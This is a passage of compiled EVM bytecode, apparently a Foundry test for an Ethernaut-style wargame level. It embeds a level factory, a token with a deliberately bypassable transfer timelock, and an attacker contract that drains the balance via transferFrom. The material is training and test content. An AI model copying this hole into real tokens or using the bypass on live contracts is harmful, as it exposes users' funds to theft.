505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620013bf565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001bf2565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002158565b90508060018251620009829190620022e8565b81518110620009955762000995620020b7565b60200260200101515f0151600281518110620009b557620009b5620020b7565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab49190810190620022fe565b90505f81848560405160200162000acd92919062002350565b60408051601f198184030181529082905262000aed9291602001620023fe565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002430565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b959190810190620022fe565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001a7e90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002444565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002444565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001cde565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb491906200247e565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f620020b7565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f604051620011059062001c00565b604051809103905ff0801580156200111f573d5f803e3d5ffd5b506021546023546040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b039182166004820152929350169063095ea7b390839083906370a0823190602401602060405180830381865afa15801562001190573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011b691906200249c565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af115801562001217573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200123d9190620024b4565b506021546023546040517f3c48664c0000000000000000000000000000000000000000000000000000000081526001600160a01b039283166004820152908216602482015290821690633c48664c906044015f604051808303815f87803b158015620012a7575f80fd5b505af1158015620012ba573d5f803e3d5ffd5b5050602054602154620012e79350620012e192506001600160a01b039182169116620015d8565b62001b20565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200132d9062002444565b80601f01602080910402602001604051908101604052809291908181526020018280546200135b9062002444565b8015620013aa5780601f106200138057610100808354040283529160200191620013aa565b820191905f5260205f20905b8154815290600101906020018083116200138c57829003601f168201915b5050505050815260200190600101906200130d565b5f80604051620013cf9062001c0e565b604051809103905ff080158015620013e9573d5f803e3d5ffd5b5090505f604051620013fb9062001c1c565b604051809103905ff08015801562001415573d5f803e3d5ffd5b508483604051620014269062001c2a565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001460573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620014bf575f80fd5b505af1158015620014d2573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620015bf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200156b5790505b5050505050815250508152602001906001019062001501565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001634575f80fd5b505af115801562001647573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620016a5575f80fd5b505af1158015620016b8573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200171c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001745919081019062002158565b90506001815111156200175d57600191505062001762565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620017ab9062002444565b80601f0160208091040260200160405190810160405280929190818152602001828054620017d99062002444565b8015620018285780601f10620017fe5761010080835404028352916020019162001828565b820191905f5260205f20905b8154815290600101906020018083116200180a57829003601f168201915b5050505050815260200190600101906200178b565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001894575f80fd5b505af1158015620018a7573d5f803e3d5ffd5b5050602054602154620018d49350620018ce92506001600160a01b039182169116620015d8565b62001b9f565b565b6008545f9060ff1615620018ee575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200197d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620019a391906200249c565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f62001a178243620024d5565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001ad59086908690600401620024eb565b5f60405180830381865afa15801562001af0573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001b1991908101906200251c565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001b85575f80fd5b505afa15801562001b98573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001b6e565b6113e0806200255383390190565b610268806200393383390190565b610ae58062003b9b83390190565b611e7a806200468083390190565b610daa80620064fa83390190565b6001600160a01b0381168114620012e7575f80fd5b5f805f6060848603121562001c60575f80fd5b833562001c6d8162001c38565b9250602084013562001c7f8162001c38565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001cd25783516001600160a01b03168352928401929184019160010162001cab565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001d185762001d1862001cde565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001d4a5762001d4a62001cde565b604052919050565b5f67ffffffffffffffff82111562001d6e5762001d6e62001cde565b50601f01601f191660200190565b5f6020828403121562001d8d575f80fd5b813567ffffffffffffffff81111562001da4575f80fd5b8201601f8101841362001db5575f80fd5b803562001dcc62001dc68262001d52565b62001d1e565b81815285602083850101111562001de1575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001e1a57818101518382015260200162001e00565b50505f910152565b5f815180845262001e3b81602086016020860162001dfe565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001f0357603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001eec57605f1988850301835262001ed984865162001e22565b948d01949350918c019160010162001eba565b505050968901969350509087019060010162001e74565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001fd157888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001fbb5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001f77565b5096890196945050509086019060010162001f39565b509098975050505050505050565b5f6020828403121562001ff0575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200205057603f198886030184526200203d85835162001e22565b945092850192908501906001016200201e565b5092979650505050505050565b5f602082840312156200206e575f80fd5b813562001b198162001c38565b5f80604083850312156200208d575f80fd5b82356200209a8162001c38565b91506020830135620020ac8162001c38565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff821115620020e757620020e762001cde565b5060051b60200190565b5f6200210162001dc68462001d52565b905082815283838301111562002115575f80fd5b62001b1983602083018462001dfe565b5f82601f83011262002135575f80fd5b62001b1983835160208501620020f1565b8051620021538162001c38565b919050565b5f60208083850312156200216a575f80fd5b825167ffffffffffffffff8082111562002182575f80fd5b818501915085601f83011262002196575f80fd5b8151620021a762001dc682620020cb565b81815260059190911b83018401908481019088831115620021c6575f80fd5b8585015b83811015620022c757805185811115620021e2575f80fd5b86016060818c03601f19011215620021f8575f80fd5b6200220262001cf2565b888201518781111562002213575f80fd5b8201603f81018d1362002224575f80fd5b898101516200223762001dc682620020cb565b81815260059190911b8201604001908b8101908f83111562002257575f80fd5b6040840193505b82841015620022795783518252928c0192908c01906200225e565b845250505060408201518781111562002290575f80fd5b620022a08d8b8386010162002125565b8a83015250620022b36060830162002146565b6040820152845250918601918601620021ca565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620017625762001762620022d4565b5f602082840312156200230f575f80fd5b815167ffffffffffffffff81111562002326575f80fd5b8201601f8101841362002337575f80fd5b6200234884825160208401620020f1565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200238981600585016020880162001dfe565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620023c881600a84016020880162001dfe565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200241181846020880162001dfe565b8351908301906200242781836020880162001dfe565b01949350505050565b602081525f62001b19602083018462001e22565b600181811c908216806200245957607f821691505b6020821081036200247857634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200248f575f80fd5b815162001b198162001c38565b5f60208284031215620024ad575f80fd5b5051919050565b5f60208284031215620024c5575f80fd5b8151801515811462001b19575f80fd5b80820180821115620017625762001762620022d4565b604081525f620024ff604083018562001e22565b828103602084015262002513818562001e22565b95945050505050565b5f602082840312156200252d575f80fd5b815167ffffffffffffffff81111562002544575f80fd5b62002348848285016200212556fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6113668061007a5f395ff3fe6080604052600436106200005f575f3560e01c80638da5cb5b11620000465780638da5cb5b14620000b0578063d38def5b14620000ce578063f2fde38b1462000103575f80fd5b8063715018a614620000635780637726f776146200007c575b5f80fd5b3480156200006f575f80fd5b506200007a62000127565b005b620000936200008d3660046200038f565b6200013e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000bc575f80fd5b505f546001600160a01b031662000093565b348015620000da575f80fd5b50620000f2620000ec366004620003b4565b6200017f565b6040519015158152602001620000a7565b3480156200010f575f80fd5b506200007a620001213660046200038f565b62000210565b62000131620002aa565b6200013c5f62000305565b565b5f816040516200014e906200036c565b6001600160a01b039091168152602001604051809103905ff08015801562000178573d5f803e3d5ffd5b5092915050565b6040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b0382811660048301525f9184918216906370a0823190602401602060405180830381865afa158015620001e1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002079190620003f0565b15949350505050565b6200021a620002aa565b6001600160a01b0381166200029c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b620002a78162000305565b50565b5f546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000293565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610f28806200040983390190565b6001600160a01b0381168114620002a7575f80fd5b5f60208284031215620003a0575f80fd5b8135620003ad816200037a565b9392505050565b5f8060408385031215620003c6575f80fd5b8235620003d3816200037a565b91506020830135620003e5816200037a565b809150509250929050565b5f6020828403121562000401575f80fd5b505191905056fe608060405262000014426312cc030062000232565b60055534801562000023575f80fd5b5060405162000f2838038062000f2883398101604081905262000046916200024e565b6040518060400160405280600a8152602001692730bab3b43a21b7b4b760b11b8152506040518060400160405280600381526020016203078360ec1b81525081600390816200009691906200031a565b506004620000a582826200031a565b5050600780546001600160a01b0319166001600160a01b03841617905550620000cc601290565b620000dc9060ff16600a620004df565b620000eb90620f4240620004ec565b60068190556007546200010a916001600160a01b039091169062000146565b6007546006546040519081526001600160a01b03909116905f905f8051602062000f088339815191529060200160405180910390a35062000506565b6001600160a01b038216620001a15760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620001b4919062000232565b90915550506001600160a01b0382165f9081526020819052604081208054839290620001e290849062000232565b90915550506040518181526001600160a01b038316905f905f8051602062000f088339815191529060200160405180910390a35050565b505050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156200024857620002486200021e565b92915050565b5f602082840312156200025f575f80fd5b81516001600160a01b038116811462000276575f80fd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620002a657607f821691505b602082108103620002c557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200021957805f5260205f20601f840160051c81016020851015620002f25750805b601f840160051c820191505b8181101562000313575f8155600101620002fe565b5050505050565b81516001600160401b038111156200033657620003366200027d565b6200034e8162000347845462000291565b84620002cb565b602080601f83116001811462000384575f84156200036c5750858301515b5f19600386901b1c1916600185901b178555620003de565b5f85815260208120601f198616915b82811015620003b45788860151825594840194600190910190840162000393565b5085821015620003d257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b600181815b808511156200042657815f19048211156200040a576200040a6200021e565b808516156200041857918102915b93841c9390800290620003eb565b509250929050565b5f826200043e5750600162000248565b816200044c57505f62000248565b8160018114620004655760028114620004705762000490565b600191505062000248565b60ff8411156200048457620004846200021e565b50506001821b62000248565b5060208310610133831016604e8410600b8410161715620004b5575081810a62000248565b620004c18383620003e6565b805f1904821115620004d757620004d76200021e565b029392505050565b5f6200027683836200042e565b80820281158282048414176200024857620002486200021e565b6109f480620005145f395ff3fe608060405234801561000f575f80fd5b50600436106100e5575f3560e01c806348db5f8911610088578063a457c2d711610063578063a457c2d7146101d5578063a9059cbb146101e8578063d085835a146101fb578063dd62ed3e14610204575f80fd5b806348db5f891461017a57806370a08231146101a557806395d89b41146101cd575f80fd5b806323b872dd116100c357806323b872dd1461013c5780632ff2e9dc1461014f578063313ce567146101585780633950935114610167575f80fd5b806306fdde03146100e9578063095ea7b31461010757806318160ddd1461012a575b5f80fd5b6100f161023c565b6040516100fe919061084e565b60405180910390f35b61011a6101153660046108b5565b6102cc565b60405190151581526020016100fe565b6002545b6040519081526020016100fe565b61011a61014a3660046108dd565b6102e5565b61012e60065481565b604051601281526020016100fe565b61011a6101753660046108b5565b610308565b60075461018d906001600160a01b031681565b6040516001600160a01b0390911681526020016100fe565b61012e6101b3366004610916565b6001600160a01b03165f9081526020819052604090205490565b6100f1610346565b61011a6101e33660046108b5565b610355565b61011a6101f63660046108b5565b610403565b61012e60055481565b61012e610212366004610936565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606003805461024b90610967565b80601f016020809104026020016040519081016040528092919081815260200182805461027790610967565b80156102c25780601f10610299576101008083540402835291602001916102c2565b820191905f5260205f20905b8154815290600101906020018083116102a557829003601f168201915b5050505050905090565b5f336102d9818585610445565b60019150505b92915050565b5f336102f285828561059c565b6102fd85858561062c565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091906102d9908290869061034190879061099f565b610445565b60606004805461024b90610967565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103f65760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102fd8286868403610445565b6007545f906001600160a01b03163303610434576005544211610424575f80fd5b61042e8383610841565b506102df565b61043e8383610841565b5092915050565b6001600160a01b0383166104c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b03821661053c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062657818110156106195760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103ed565b6106268484848403610445565b50505050565b6001600160a01b0383166106a85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b0382166107245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b0383165f90815260208190526040902054818110156107b25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103ed565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e890849061099f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161083491815260200190565b60405180910390a3610626565b5f336102d981858561062c565b5f602080835283518060208501525f5b8181101561087a5785810183015185820160400152820161085e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146108b0575f80fd5b919050565b5f80604083850312156108c6575f80fd5b6108cf8361089a565b946020939093013593505050565b5f805f606084860312156108ef575f80fd5b6108f88461089a565b92506109066020850161089a565b9150604084013590509250925092565b5f60208284031215610926575f80fd5b61092f8261089a565b9392505050565b5f8060408385031215610947575f80fd5b6109508361089a565b915061095e6020840161089a565b90509250929050565b600181811c9082168061097b57607f821691505b60208210810361099957634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102df57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220ba781f5cd3cc8446ed1ba6a3609ba07d956fb73d3732c75c110c4cf6ad8ef9cf64736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220c28238316333b765c00df2ab8bbd53ec72606d6415912417c5f301e18389d3fa64736f6c63430008180033608060405234801561000f575f80fd5b5061024b8061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633c48664c1461002d575b5f80fd5b61004061003b3660046101a7565b610042565b005b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82811660048301528391908216906323b872dd908490309084906370a0823190602401602060405180830381865afa1580156100bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100df91906101d8565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff938416600482015292909116602483015260448201526064016020604051808303815f875af1158015610155573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061017991906101ef565b50505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146101a2575f80fd5b919050565b5f80604083850312156101b8575f80fd5b6101c18361017f565b91506101cf6020840161017f565b90509250929050565b5f602082840312156101e8575f80fd5b5051919050565b5f602082840312156101ff575f80fd5b8151801515811461020e575f80fd5b939250505056fea26469706673582212203951def7dc6c1c1f79e0986718b57ac895cefc1cd969e3cf3f2ea20edbeba87f64736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5